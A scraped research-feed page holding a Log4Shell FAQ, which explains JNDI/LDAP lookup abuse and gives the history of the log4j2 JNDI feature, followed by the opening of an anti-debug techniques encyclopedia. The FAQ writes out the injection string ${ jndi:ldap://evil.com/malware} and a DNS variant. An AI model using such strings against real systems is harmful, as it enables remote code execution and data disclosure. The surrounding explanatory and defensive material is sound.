\n\n\n\n\n

 

\n\n\n\n

How does an exploit for Log4Shell work exactly? What do “jndi” and “ldap” mean?

\n\n\n\n

JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.

\n\n\n\n

The log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware} means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...} attack variant has become a proper viral meme, there are milder variants of the attack such as e.g.  ${ jndi:dns://...} which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.

\n\n\n\n

As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating, and is reproduced below.

\n\n\n\n

\n\n\n\n

 

\n\n\n\n

How can I protect myself against Log4Shell?

\n\n\n\n

First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:

\n\n\n\n\n\n\n\n

Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense. 

\n\n\n\n

How and Why did this happen? How do we make sure it doesn’t happen again?

\n\n\n\n

The story goes more or less like this.

\n\n\n\n

In March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.

\n\n\n\n

8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times. 

\n\n\n\n
\"\"/
\n\n\n\n

Patches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:

\n\n\n\n
\n

Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns. https://t.co/W2u6AcBUM8

— Volkan Yazıcı (@yazicivo) December 10, 2021
\n
\n\n\n\n

Response is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.

\n\n\n\n

Natural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.

\n\n\n\n

The emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”

\n\n\n\n

 

\n\n\n\n

 

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2021/the-laconic-log4shell-faq/","tags":[],"score":0.004096343647688627,"topStoryDate":null},{"id":"RS-23904","type":"Research_Publications","name":"CPR Anti-Debug Encyclopedia: The Check Point Anti-Debug Techniques Repository","author":null,"date":1596645245000,"description":"Debugging is the essential part of malware analysis. Every time we need to drill down into malware behavior, restore encryption methods or examine communication protocols – generally, whenever we need to examine memory at a certain moment of time – we use debuggers. Debuggers interfere with the debugged process in a way that usually produces… Click to Read More","content":"\n

Debugging is the essential part of malware analysis. Every time we need to drill down into malware behavior, restore encryption methods or examine communication protocols – generally, whenever we need to examine memory at a certain moment of time – we use debuggers.

\n\n\n\n

Debuggers interfere with the debugged process in a way that usually produces side-effects. These side-effects are often used by malicious programs to verify if they are executed under debugging. In turn knowledge of anti-debug techniques helps us detect when the malware tries to prevent us from debugging it and mitigate the interference.

\n\n\n\n

This encyclopedia contains the description of anti-debug tricks which work on the latest Windows releases with the most popular debuggers (such as OllyDbg, WinDbg, x64dbg). Deprecated techniques (e.g. for SoftICE, etc.) are not included (despite all the love to SoftICE).

\n\n\n\n

Anti-Debug tricks are grouped by the way in which they trigger side-effects (“meh, yet another classification”, you might think). Each group includes the description of corresponding tricks, their implementation in C/C++ or x86/x86-64 Assembly language, and recommendations of how to mitigate the trick for developers who want to create their own anti-anti-debug solution. In general, for bypassing anti-debug techniques we recommend using the ScyllaHide plugin which supports OllyDbg, x64dbg and IDA Pro.

\n\n\n\n

All the techniques which are described in this encyclopedia are implemented in our ShowStopper open-source project. The encyclopedia can help you to better understand how these techniques work or to assess debuggers and anti-anti-debug plugins.

\n\n\n\n

The following sources were used during the encyclopedia compilation and must get their credits:

\n\n\n\n\n\n\n\n

If you want to contribute to this encyclopedia, you’re more than welcome to create pull requests in its github.

\n\n\n\n

Go to the Anti-Debug Encyclopedia

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2020/cpr-anti-debug-encyclopedia-the-check-point-anti-debug-techniques-repository/","tags":[],"score":0.0039494941011071205,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};